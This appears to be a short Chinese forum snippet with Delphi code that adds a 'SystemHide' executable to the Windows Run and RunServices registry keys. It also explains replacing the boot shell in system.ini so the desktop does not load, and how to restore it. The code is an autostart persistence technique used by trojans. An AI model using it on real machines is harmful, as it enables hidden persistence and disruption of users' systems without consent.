myreg := tregistry.Create; myreg.RootKey := machine_rootkey; if myreg.OpenKey(sub_run, true) then begin myreg.WriteString('SystemHide', syspath + '\.exe'); myreg.CloseKey; end; if myreg.OpenKey(sub_RunServices, true) then begin myreg.WriteString('SystemHide', syspath + '\.exe'); myreg.CloseKey; end; myreg.free;
user_rootkey = HKEY_CURRENT_USER; sub_run = '\Software\Microsoft\Windows\CurrentVersion\Run';
sub_runservices = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
myreg := tregistry.Create;
myreg.RootKey := machine_rootkey;
if myreg.OpenKey(sub_run, true) then
begin
myreg.WriteString('SystemHide', syspath + '\.exe');
myreg.CloseKey;
end;
if myreg.OpenKey(sub_RunServices, true) then
begin
myreg.WriteString('SystemHide', syspath + '\.exe');
myreg.CloseKey;
end;
myreg.free;
然后由程序控制决定加载IE,很难想象结果会是怎样,
也许象安装VB重启动时出现一个简单的界面(正在更新系统设置之类)。我朋友想就在此刻停止进入桌面。有点象美平之类。
比如改成:system.ini->boot->shell=taskman.exe
启动WINDOWS以后,桌面就没了,但运行菜单在,也可以做很多事。
改回来用启用时按F8进入dos->cd \windows->edit system.ini
system.ini->boot->shell=Explorer.exe